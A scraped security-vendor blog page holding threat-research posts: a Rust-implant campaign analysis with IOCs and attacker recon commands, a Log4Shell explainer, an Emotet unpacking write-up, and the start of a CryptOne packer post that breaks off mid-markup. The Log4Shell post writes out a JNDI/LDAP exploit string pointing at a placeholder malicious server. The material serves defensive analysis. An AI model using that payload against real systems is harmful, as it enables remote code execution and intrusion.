di_blog_post

Deep Instinct prevents more advanced threats than any EPP or EDR in the world.

Deep Instinct Blog: Breaking News and Updates

Explore Deep Instinct DSX

Prevent Zero-Day Attacks

Real-Time Malicious Verdicts

Real-Time Explainability

Lower TCO

Ensure Privacy & Compliance

Deep Instinct DSX

Cloud

Applications

Endpoints

Use Cases

Asset Library

Blog

Videos

Webinars

Resources

About Deep Instinct

Our Customers

Newsroom

Careers

Contact Us

Company

Free Scan

Customer Portal

Integrations and Compliance

Training

Quick Links

Discover how our revolutionary deep learning-powered solution prevents and explains unknown, never-before-seen threats.

explore deep instinct dsx

why dsx

Prevent zero-day attacks

Detect and prevent threats in <20ms, faster than the blink of an eye.

real-time malicious verdicts

Gain actionable, AI-driven intelligence on zero-day threats in seconds.

Real-Time Insights & Explainability

Reduce cybersecurity costs with efficient, high-performance threat prevention.

Enhance data protection while meeting stringent privacy and regulatory requirements.

DSX USE CASES

Scan and secure your S3 buckets and prevent threats to your data with this natively integrated and certified solution.

Amazon S3

Secure files and empower your hybrid-cloud with natively integrated preemptive data security.

Amazon FSx for NetApp

Protect your NetApp ONTAP storage with a purpose-built solution designed to prevent zero-day threats targeting NAS.

NetApp

Stop attackers from breaching your Dell EMC NAS with our purpose-built, natively integrated solution.

Dell EMC

Integrate scanning with your middleware layer to secure your applications with greater stability and customization.

Middleware

Ensure the files moving through your environment remain malware-free, without introducing bottlenecks or slowdowns.

Secure File Transfer

DEPLOYMENT TYPES

Secure your multi-cloud or hybrid infrastructure against zero-day threats.

CLOUD

Safeguard critical data on Network-Attached Storage systems from advanced cyber threats.

Defend SaaS and custom applications from zero-day vulnerabilities and threats.

APPLICATIONS

Protect devices and endpoints with AI-driven threat prevention.

ENDPOINTS

EXPLORE 

Threat Research

Voice Of SecOps

DIANNA Explains

Cyber Tarot

COMPARE

Deep Instinct complements Microsoft Defender with advanced threat prevention to stop threats before they enter your environment.

+ Microsoft Defender

EDR is not enough — enhance existing cybersecurity tools with advanced, real-time threat prevention using deep learning to produce defense in depth.

EXTEND/ENHANCE EDR

Replace outdated, legacy AV solutions with prevention-first, deep-learning-based protection purpose-built for cybersecurity.

REPLACE LEGACY AV

Faster and more accurate – Deep Instinct safeguards your data and protects your NAS storage better than Trellix.

REPLACE TRELLIX

Faster and more effective – Deep Instinct safeguards your data and protects your NAS storage better than Symantec.

REPLACE SYMANTEC

Accuracy and efficacy – AWS-certified DSX for Cloud prevents malware and ransomware targeting your S3 buckets better than ClamAV.

REPLACE CLAMAV

Leadership Team

Board of Directors

Partners

Login

content_block

Perspective & Findings

<h4>How a Guardrail-Free LLM Outsmarted Legacy Cyber Tools</h4>

DIANNA-Webinar-Blog-930x400.png

Recent Blog Posts

Listing preview

Perspective & Findings

image_media_card

Recent Blog Posts

listing_preview

BPFDoor Malware Evolves – Stealthy Sniffing Backdoor Ups Its Game

Who is the only NEW vendor in the 2022 Gartner® Magic Quadrant™ for Endpoint Protection Platforms?

ChatGPT and Malware: Making Your Malicious Wishes Come True

Top-3 Drawbacks of Content Disarm + Reconstruction (CDR) for Malware Prevention

LSASS Memory Dumps are Stealthier than Ever Before

LSASS memory dumps

Trending at Deep Instinct

carousel_cards

Deep Instinct security researchers Ron Ben-Yizhak and David Shandalov share the research they presented at DEF CON 32: an in-depth exploration of two different attack methods. Explore the methods they presented and follow along as they explain how they work.

DEFCON Speaker Image.jpg

SHIM Me What You Got: Manipulating Shim and Office for Code Injection

blog-image-rusty-flag.jpg

Key takeaways:<ul><li>The Deep Instinct Threat Lab has discovered a new operation against Azerbaijanian targets</li><li>The operation has at least two different initial access vectors</li><li>The operation is not associated with a known threat actor; the operation was instead named because of their novel malware written in the Rust programming language</li><li>One of the lures used in the operation is a modified document that was used by the Storm-0978 group. This could be a deliberate “false flag”</li></ul><figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 1: Attack Flow" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc500e8e577b407b5/65028d348606a8f21cc873d7/fig1-AttackFlowRusty.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 1: Attack Flow</figcaption></figure><h5>LNK Vector:</h5>Deep Instinct Threat Lab observed a malicious LNK file with low detections named “1.KARABAKH.jpg.lnk.”The file has a double extension to lure the victim to click an image that is related to a military incident in <a href="https://en.wikipedia.org/wiki/Nagorno-Karabakh" target="_blank">Nagorno-Karabakh</a>.The LNK downloads and executes an MSI installer hosted by DropBox:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Fig 2: LNK arguments" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt72f719f046aed339/65028d5ef41335980a8918e4/fig2-LNK-Arguments.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Fig 2: LNK arguments</figcaption></figure><figure style = "margin: auto; text-align: center;width: auto;"><img alt="Fig 3: OSINT information about MSI uploader from Dropbox" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltcdb6b050e52030ad/65028d8d7960981affb2dee1/fig3-osint-about-MSI-uploader-Dropbox.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Fig 3: OSINT information about MSI uploader from Dropbox</figcaption></figure>The MSI file drops an implant written in Rust, an xml file for a scheduled task to execute the implant, and a decoy image file:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 4: Decoy image file" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6930cc293aa4cf67/65028dc568d8e111ac604833/fig4-decoy-image.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 4: Decoy image file</figcaption></figure>The image file includes watermarks of the <a href="https://mod.gov.az/en" target="_blank">symbol</a> of the Azerbaijanian MOD.<h5>Office False Flag Vector:</h5>Once we identified the LNK campaign the Deep Instinct Threat Lab attempted to identify additional, related files.Deep Instinct Threat Lab quickly found another MSI file hosted on DropBox that drops a different variant of the same Rust implant; however, the identification of the initial access vector for this campaign was trickier.The DropBox URL was masked with a URL shortener (hxxps://t[.]]ly/8CYQW) and the evidence showed that this URL was invoked via exploitation of Microsoft Equation Editor CVE-2017-11882.Deep Instinct Threat Lab identified a file named “Overview_of_UWCs_UkraineInNATO_campaign.docx” that was invoking the request to this shortened URL; however, this filename and its content are known to be associated with a <a href="https://www.microsoft.com/en-us/security/blog/2023/07/11/storm-0978-attacks-reveal-financial-and-espionage-motives/" target="_blank">Storm-0978</a> campaign utilizing CVE-2023-36884.The identified file even had a comment on VirusTotal that it is related to the Storm-0978 campaign:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 5: VT comment" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte13eea8de10129de/65028e2f9e7ba645b2cabbf9/fig5-VT_comments.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 5: VT comment</figcaption></figure>After further investigation it was revealed that this is a different file, not related to the Storm-0978 campaign. The embedded “afchunk.rtf” file has been replaced and CVE-2023-36884 is not used. Instead, CVE-2017-11882 is used to download and install the MSI file.This action looks like a deliberate false flag attempt to pin this attack on Storm-0978.<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Fig 6: OSINT information about MSI uploader for Office vector" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt0ad88745f4ac3c5a/65028e6ba26337c73b96b6af/fig6-osint-information-msi-uploaderd.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Fig 6: OSINT information about MSI uploader for Office vector</figcaption></figure>Even though the initial lure is an Office file, the delivered MSI file also open a decoy file, this time a PDF invoice:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Fig 7: PDF decoy dropped by Office vector" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltfb1f227360da24a9/6502909f1c72d8a20e8b120c/fig7-PDF-decoy-droppedPDF.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Fig 7: PDF decoy dropped by Office vector</figcaption></figure><h5>MSI Analysis:</h5>While the initial vectors are different, the execution is the same and it is done by invoking msiexec with URL to DropBox.Using a Linux file command or msitools it seems that the MSI files were created by “MSI Wrapper” <a href="https://www.exemsi.com/" target="_blank">https://www.exemsi.com/</a>, which is often used by threat actors to drop malicious files.The MSI installers are dropping and executing the Rust implant along with a decoy file and xml file for scheduled task.<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 8: MSI Metadata" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9a1c244f60882ab6/650291e21709f57bfebf53c1/fig8-msi-metadata.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 8: MSI Metadata</figcaption></figure><h5>Rust Implant Analysis:</h5>Each attack had its unique file names and metadata. One of the file Rust Implants named “WinDefenderHealth.exe” is written in Rust. It is expected to gather information and send it to the attacker server, which is still active at the time of this research.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blte9120922332ab068" alt="Figure 9: Metadata of the Rust malware" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte9120922332ab068/6502913d3a3d4841e1f6efba/fig9-Rust-defender-healthCheckmetadataVT.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 9: Metadata of the Rust malware</figcaption></figure><figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 10: Rust compiler" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9e4e043348197e65/65029386f4133504258918f5/fig10-Rust-malware-compiler.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 10: Rust compiler</figcaption></figure>Rust is becoming more popular among malware authors. Security products are not yet detecting Rust malware accurately, and the reverse engineering process is more complex. The Rust standard library is not familiar to tools like IDA and Ghidra. It results in tagging large portions of the code as unknown, and it is difficult to differentiate the code of the standard library from the code of the malware. To overcome this, the plugin GhidRust was used, but it didn't detect the functions of the standard library. In addition, BinDiff was used. A simple Rust binary was compiled and compared against the malware, but very little code was shared. Some open projects for Rust were used in the malware such as Tokio (a runtime for writing reliable, asynchronous, and slim applications with the Rust programming language), hyper (a fast and correct HTTP implementation for Rust) and Serde JSON (a framework for serializing and deserializing Rust data structures efficiently and generically). After that part, we moved on to dynamic analysis.Once the file is executed it goes to sleep for 12 minutes. This is a known method to avoid security researchers and sandbox’s easy analysis.<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 11: “Sleep” for 12 minutes" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt70fbe3ef467a938d/650293edeb5afe09bc4a7884/fig11-sleep-12-minutes-to-avoid-easy-reversing.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 11: “Sleep” for 12 minutes</figcaption></figure>Then it starts collecting information about the infected machine:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 12: “Collect” information" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt43287626dd55bb8c/650321cc796098004ab2e260/fig12-Collect-information.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 12: “Collect” information</figcaption></figure><figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 13: Processes collecting information about the PC" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3d7dc9d84a471c52/650295df1c72d858748b1217/fig13-ExfilProccesses.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 13: Processes collecting information about the PC</figcaption></figure>The malware then reads the output of the above executions by redirecting their StdOut to a named pipe. It is notable that the values of StdIn, StdOut, and StdErr match the handles of the processes to the named pipes.<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 14: “Read” the collected information" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltbb4b1a45002b971a/650297073a3d489d5af6efd7/fig14-tsdoutNamedPipes.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 14: “Read” the collected information</figcaption></figure>The information is gathered leveraging the following template:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 15: Sample of the collected info before encryption" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6497946a4527cebe/6502975576c8e45ee3b5f637/fig15-collected-info.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 15: Sample of the collected info before encryption</figcaption></figure>The above information is then encrypted and sent to the attacker server using an uncommon, hardcoded port 35667:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 16: Encrypted information being sent to the server" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt474685ab5f698b32/6502977d9bf26140fd6bcd01/fig16-encrypted-information-sent-toC2.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 16: Encrypted information being sent to the server</figcaption></figure>We have built a script to decrypt the information, available in our <a href="https://github.com/deepinstinct/Rusty-Flag-DecryptData" target="_blank">Git</a>, that the malware is sending.All analyzed files above have a low detection rate on VT at the time. There are zero detections on first seen and most of the detections are generic ones.<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 17: Detections of the RUST implant in VT. All detections are generic." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt831a4c472c34a419/650297c50433c0d28e25462b/fig17-VT_Detections.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 17: Detections of the RUST implant in VT. All detections are generic.</figcaption></figure>While the other Rust implant still has zero detections:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 18: 2nd Rust implant VT detections" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3926fc166ca5accf/65029808a8cf8b810b3e0b3f/fig18-sengforVTDet.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 18: 2nd Rust implant VT detections</figcaption></figure><h5>Conclusion:</h5>Deep Instinct Threat Lab could not attribute these attacks to any known threat actor. There is a possibility that these files are part of a red team exercise.Regardless of the above statement, the fact that both Rust implants had zero detections when first uploaded to VirusTotal shows that writing malware in esoteric languages can bypass many security solutions.<h5>MITRE:</h5><table><thead class="bg-grey"><tr><th>Tactic</th><th>Technique</th><th>Description</th><th>Observable</th></tr></thead><tbody><tr><td>Discovery</td><td>T1082 System Information Discovery</td><td>The malware executes systeminfo.exe to gain information about the infected computer</td><td>systeminfo.exe</td></tr><tr><td>Discovery</td><td>T1016 System Network Configuration Discovery</td><td>Gain detailed information about the network interfaces on the system</td><td>ipconfig.exe /all</td></tr><tr><td>Discovery</td><td>T1033 System Owner/User Discovery</td><td>Gain user, group, and privileges information for the users</td><td>Whoami.exe /all</td></tr><tr><td>Discovery</td><td>T1087 Account Discovery</td><td>Gain information about local or domain accounts on a system</td><td>Net.exe user</td></tr><tr><td>Discovery</td><td>T1057 Process Discovery</td><td>Gain a list of currently running processes, including detailed information about each one</td><td>Tasklist.exe /v</td></tr><tr><td>Persistence</td><td>T1053 Scheduled Task/Job</td><td>Create a scheduled task using the xml file</td><td>Schtasks.exe</td></tr><tr><td>Command and Control</td><td>T1132 Data Encoding</td><td>Encrypted communication</td><td>Encrypted information sent to the C2. A tool for decrypting the information is provided in our Git.</td></tr></tbody></table><h5>IOC:</h5>78.135.73[.]140<table><thead class="bg-grey"><tr><th>SHA256</th><th>Description</th></tr></thead><tbody><tr><td>463183002d558ec6f4f12475cc81ac2cb8da21549959f587e0fb93bd3353e13e</td><td>Archive containing malicious Office file</td></tr><tr><td>edc531d255b9ae8ae6902dc676f24e95a478576cad297e08e2bbc0b8fe03e4ce</td><td>Malicious Office file</td></tr><tr><td>1546bb5bfc25741434148b77fe51fed7618432a232049b3f6f7210e7fb1f3f0e</td><td>MSI file from hxxps://t[.]ly/8CYQW</td></tr><tr><td>387304b50852736281a29d00ed2d8cdb3368d171215f1099b41c404e7e099193</td><td>SangforUD.EXE Rust implant</td></tr><tr><td>0742cd9b92661f23f6b294cc29c814de027b5b64b045e4807fc03123b153bcd5</td><td>Decoy PDF file</td></tr><tr><td>04725fb5a9e878d68e03176364f3b1057a5c54cca06ec988013a508d6bb29b42</td><td>Malicious LNK file</td></tr><tr><td>35f2f7cd7945f43d9692b6ea39d82c4fc9b86709b18164ad295ce66ac20fd8e5</td><td>MSI file from LNK vector</td></tr><tr><td>5327308fee51fc6bb95996c4185c4cfcbac580b747d79363c7cf66505f3ff6db</td><td>WinDefenderHealth.EXE Rust implant</td></tr><tr><td>e508cafa5c45847ecea35539e836dc9370699d21522839342c3f3573bf550555</td><td>Decoy JPEG file</td></tr></tbody></table>

Operation Rusty Flag – A Malicious Campaign Against Azerbaijanian Targets

blog-image-nofilter-defcon-v3.jpg

#NoFilter - Abusing Windows Filtering Platform for Privilege Escalation

Log4Shell (CVE-2021-44228) – What You Need to Know

Log4Shell-Blog.jpg

<h5>Overview </h5>
On December 9, a <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228" target="_blank" rel="noreferrer noopener">severe remote code execution vulnerability</a> was disclosed in Apache’s logging tool, Log4j2 – a widely-used open-source Java framework used for logging by countless commercial, non-commercial, and internally-developed applications and users – affecting all previous versions of the framework. 
Due to the simplicity of the exploitation and the massive usage of the Log4j library in many components from different products, we’ve already seen several POCs being published on Github which implement this exploit. 
The vulnerability has been dubbed “Log4Shell” and its root cause has since been fixed by Log4j2 authors. It is highly recommended that all users of Log4j2 or applications that employ Log4j2 update to the <a href="https://logging.apache.org/log4j/2.x/security.html" target="_blank" rel="noreferrer noopener">latest version (v2.15.0)</a> of the framework or respective application. 
Deep Instinct’s product line, agents, cloud infrastructure, and servers do not use or rely on log4j2 and therefore cannot be compromised by it and are not vulnerable to its exploitation. 
Interestingly, this is not the first time JNDI and LDAP have been responsible for vulnerable software. During Black Hat 2016, <a href="https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf" target="_blank" rel="noreferrer noopener">researchers presented</a> how to successfully use remote code execution leveraging these two components. <h5>What Makes Log4Shell so Severe? </h5>
“Log4Shell” abuses the Java Naming and Directory Interface (JNDI) and Lightweight Directory Access Protocol (LDAP), enabling it to force applications and servers running Log4j to fetch and execute a malicious payload. 
JNDI, which has been present in Java since the 1990s, allows Java programs and applications to locate and make use of remote data. LDAP is an industry-standard, application-layer protocol that allows access to remote directories over Internet-Protocol (IP). 
The vulnerability is exceptionally easy to exploit, requiring (in some cases) only a crafted User-Agent HTTP request header and has multiple POCs already published for it. 
In short – by simply causing a vulnerable application to write a specific format of string to its logs it will “trip” the vulnerability. 
In the simplest manner, an attacker can change the HTTP request User-Agent header to something in the following format: ${jndi:ldap://&lt;malicious_server:port&gt;/&lt;malicious_payload&gt;}, which will be logged by the receiving application, causing Log4j to fetch and arbitrarily execute the malicious payload. 
The vulnerability is particularly dangerous as it allows anyone interacting with the vulnerable application to remotely execute arbitrary code on the machine hosting the application, allowing for anything from reconnaissance to initial access into targeted networks and ransomware delivery. <h5>Current Activity and Exploitation in the Wild</h5>
The impact of this vulnerability and its exploitation is vast, affecting entities from a variety of sectors including Apple, Amazon, Tesla, Google, and <a href="https://github.com/YfryTchsGD/Log4jAttackSurface" target="_blank" rel="noreferrer noopener">many more</a>. This not only puts these enterprises at risk but the customers that use their services as well. <h5>Deep Instinct vs. CVE-2021-44228 </h5>
In the case of successful exploitation of the log4j2 vulnerability, the Deep Instinct agent-based solution prevents execution of any shellcode or malicious payload emanating from compromised machines or environments. Consequent malicious payload delivered by the Log4Shell exploit will be prevented in the pre-execution phase by Deep Instinct agents using the deep learning brain capabilities. 
The following video demonstrates Deep Instinct’s Windows D-Client protecting against exploitation of this vulnerability. Deep Instinct Windows D-Client is installed on a Windows machine that runs a vulnerable service. The kali machine attacks the service by sending a malicious HTTP request which causes the Windows machine to attempt execution of an encoded PowerShell command.

<h5>Recommended Actions and Mitigation</h5><ul><li>First and foremost, immediately Upgrade log4j2 to its latest version 2.15.0, which is not affected by this vulnerability.</li><li>If you are using a version (&gt;/=2.10), you can set the setting system property "log4j2.formatMsgNoLookups" to “true” (default in version 2.15.0).</li><li>Protection in previous versions (2.0_beta9 - 2.10.0) is possible by removing the JndiLookup class from the class path e.g.: zip -q -d log4j-core-.*jar org/apache/logging/log4j/core/lookup/JndiLookup.class</li></ul><ul><li>Implementation of Input validation mechanisms to all code that interacts with log4j.</li></ul><h5>Full Mitigation Guide Available Here:</h5><ul><li><a href="https://logging.apache.org/log4j/2.x/manual/migration.html">https://logging.apache.org/log...</a></li></ul><h5>You Can Use These Commands to Search for Exploitation Attempts Against the log4j RCE Vulnerability:</h5><ul><li><a href="https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b">https://gist.github.com/Neo23x...</a></li></ul>
<h5>References</h5>
<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228" target="_blank" rel="noreferrer noopener">https://nvd.nist.gov/vuln/detail/CVE-2021-44228</a> - CVE details and scores
<a href="https://logging.apache.org/log4j/2.x/security.html" target="_blank" rel="noreferrer noopener">https://logging.apache.org/log4j/2.x/security.html</a> - Log4j 2.15.0 patch notes
<a href="https://logging.apache.org/log4j/2.x/download.html" target="_blank" rel="noreferrer noopener">https://logging.apache.org/log4j/2.x/download.html</a> - Log4j2 latest version (2.15.0)
<a href="https://github.com/YfryTchsGD/Log4jAttackSurface" target="_blank" rel="noreferrer noopener">https://github.com/YfryTchsGD/Log4jAttackSurface</a> - list of affected components

Emotet-Blog.jpg

<a href="/glossary/emotet-malware" target="_self">Emotet</a>, the malware botnet, has resurfaced after almost 10 months. The operation was originally taken down by multiple international law enforcement agencies this past January. These agencies took control of the infrastructure and scheduled an un-installation of the malware on April 25.So what does the re-emergence of Emotet mean, and how can cyber professionals prepare for new threats? This blog will analyze the new DLL, break down a new unpacking technique and new features, and review similarities in the new variant with the previous version.We will also explore a novel tool called “DeMotet” that automates the analysis of Emotet samples on a large scale and includes an unpacker for the latest loader and decryption scripts for the payload. It is used to detect any modification in the malware, and it is now publicly available.Static Analysis For this analysis, the following sample will be used: 76816ba1a506eba7151bce38b3e6d673362355063c8fd92444b6bec5ad106c21As shown in our <a href="https://www.deepinstinct.com/blog/emotet-malware-2020" target="_self">previous blog posts</a>, the execution flow of Emotet consists of multiple stages that are unpacked in succession. As expected, this is still the case with the new variant. The DLL that is written to disk isn’t the actual payload that communicates with the C2 servers. This can be seen by a review of the static information of the resources.<img data-image="iu8vbmlm3mqw" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt0460b1883588af4c/61a5818ac854b013a2d05bd8/image.png" data-sys-asset-uid="blt0460b1883588af4c" alt="image.png"/>The entropy of the bitmap resource is high, and it most likely contains encrypted information. To unpack the next stage, the decryption routine needs to be found. This resource will be accessed before decryption starts. A breakpoint can be set on the “FindResourceA” function to reach this point.Extracting the Next Stage The malware reaches the breakpoint and then returns to the address 0x10005701.<img data-image="tn2yfkxhsqcr" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt4ab54a735cc4ae1a/61a581953865bf22bd95fd20/image.png" data-sys-asset-uid="blt4ab54a735cc4ae1a" alt="image.png"/>The parameters for “FindResourceA” match the suspicious resource. This API is called through a register because it isn’t imported. The address is located in runtime to hinder static analysis. The function then allocates memory based on the size of the resource and goes through some decryption loops.The return value is the next stage. The size of the file is specified in the code, which makes the extraction from memory even easier.<img data-image="mg73kgh96405" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd26c0aa37554cd11/61a581a0dd6fcd0cf2950ffd/image.png" data-sys-asset-uid="bltd26c0aa37554cd11" alt="image.png"/>Comparing Variants In the past, there was a middle stage between the loader and the payload. Based on our previous <a href="https://www.deepinstinct.com/blog/why-emotets-latest-wave-is-harder-to-catch-than-ever-before-part-2" target="_self">analysis</a> of the Emotet payload, the file extracted is the payload itself and not a middle stage.<ol><li>The PE file has no imported API functions.</li><li>There are barely any strings present.</li><li>The malware utilizes the same code obfuscation techniques.</li></ol><img data-image="v2iseju8nh7c" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltba5be87db228b94c/61a581b0eb16c322c4dd34b1/image.png" data-sys-asset-uid="bltba5be87db228b94c" alt="image.png"/>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; On the left: the new payload. On the right: a payload from January 2021 The payload conceals its capabilities by hiding information that is used for static analysis. The names of the API functions are stored in the code after they were hashed. Their address is located in run-time instead of using the Import Address Table. The strings are encrypted inside the file.The code is obfuscated using <a href="https://hex-rays.com/blog/hex-rays-microcode-api-vs-obfuscating-compiler/" target="_self">Control Flow Flattening</a>, which works as follows: <ol><li>A number is assigned to each basic block.</li><li>The obfuscator introduces a block number variable, indicating which block should execute.</li><li>Each block, instead of transferring control to a successor with a branch instruction, as usual, updates the block number variable to its chosen successor.</li><li>The ordinary control flow is replaced with a switch statement over the block number variable, wrapped inside of a loop.</li></ol>New imported functions from bcrypt.dll were added to the payload. The strings that represent constants for those functions were also added, such as “ECDH_P256” and “Microsoft Primitive Provider.” This is probably due to Emotet changing its communication protocol from HTTP to HTTPS. The name hashing and strings decryption algorithms were kept. This means that “DeMotet” is still able to discover this information.Introducing “DeMotet” Deep Instinct has been closely following Emotet for some time. “DeMotet” was developed to automate the research performed on the malware. The tool is a static unpacker for the latest variant of the Emotet loader. It can extract the encrypted payload from the resource without executing the malware. Python scripts are also included in this tool. They reveal the hidden strings and API calls the payload uses. The first one is a standalone script that can be used to extract this information from a large number of payloads. The second one is an IDA plugin. It adds this information as comments in the code.<img data-image="84x1ixnu1vme" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt61480193fb7ffef7/61a581e3a7343913adb6be5d/image.png" data-sys-asset-uid="blt61480193fb7ffef7" alt="image.png"/>"DeMotet” can be used to track new variants of the malware. New samples of Emotet can be downloaded and unpacked regularly. Once the unpacking process of the malware is modified, the tool will fail.This is an indication of a new variant. The variant will then be manually analyzed to update the tool so the automation can be restored. Finding new strings and imported functions in the payload is also indicative of a new feature.The tool is available in <a href="https://github.com/deepinstinct/DeMotet" target="_self">this GitHub repository</a>.Summary The notorious botnet Emotet is back, and we can expect that new tricks and evasion techniques will be implemented in the malware as the operation progresses, perhaps even returning to being a significant global threat. However, by using the techniques and tools presented in this article, the analysis of the malware can be simplified and automated.Deep Instinct takes a prevention-first approach to stopping ransomware and other malware using the world’s first and only purpose built, deep learning cybersecurity framework. We predict and prevent known, unknown, and zero-day threats in &lt;20 milliseconds, 750X faster than the fastest ransomware can encrypt.If you’d like to learn more about our malware, ransomware, and <a href="https://www.deepinstinct.com/zero-day-attacks" target="_self">zero-day prevention</a> capabilities – including our industry best $3M no-ransomware guarantee – we’d be delighted to <a href="https://www.deepinstinct.com/request-demo/" target="_self">give you a demo.</a>IOC Loaders SHA256 3b3b65d42e44bcc0df291ddab72f1351784f7e66357a4ec75ee5c982ef556149 6b477d63b3504c6eab3c35057b99d467039995783f5f14714ae6af4f83b9dcb3 442ff2de8a19c3f6cf793f9209ffd21da18aa7eb5b4c4c280222eb9f10a2c68a 9ac36258c63a5edfd29e3ed1882c61487ef2c70637192108cc84eb4ea27f7502 00ceb55abdb43042c6f7fabd327e6e1a6cdefed723dea6c4e90d159b9466518c

The Re-Emergence of Emotet

CryptOne-Blog.jpeg

Threat actors are continuously developing and refining methods to evade detection from cybersecurity professionals. One of the more creative ways to disguise threat activity comes in the form of packing software – a technique that applies a packing algorithm on malware to produce a file that is harder to detect, analyze, and prevent. While packers are legitimate and quite useful in helping developers protect their code against illegal copying and reverse engineering, in the wrong hands packing software can be used for more sinister purposes.A packing software called CryptOne became popular recently among some major threat actors. It was first reported by <a href="https://blog.fox-it.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/">Fox-IT</a> that the group behind Wastedlocker has begun using it, as well as Netwalker, Gozi ISFB v3, ZLoader, and Smokeloader.The CryptOne packer caught our attention when Emotet started using it. We followed the Emotet group closely and published multiple articles about the malware until the operation was disrupted and <a href="https://www.europol.europa.eu/newsroom/news/world%E2%80%99s-most-dangerous-malware-emotet-disrupted-through-global-action">taken down</a>. Some of the most recent samples that were generated before the takedown were packed by CryptOne.As we began analyzing the packed samples we found more malware families that are using CryptOne that weren’t reported by Fox-IT, such as Dridex, Qakbot and Cobaltstrike.In this blog post we will describe the features of this packer that made it so popular among threat actors, outline the unpacking process, and detail indicators that can determine if a sample was packed with CryptOne.<h2>Features</h2><ol><li>Multiple stages</li></ol> The unpacking process is composed of two stages until the destined malware is executed. The first stage is the DLL that is created by the packing software. This DLL contains encrypted data in one of its sections, which is copied to a RWX buffer and then decrypted. This data contains a shellcode and another block of encrypted data. The shellcode is described in greater detail later.<img asset_uid="blt28edcab38f297b32" 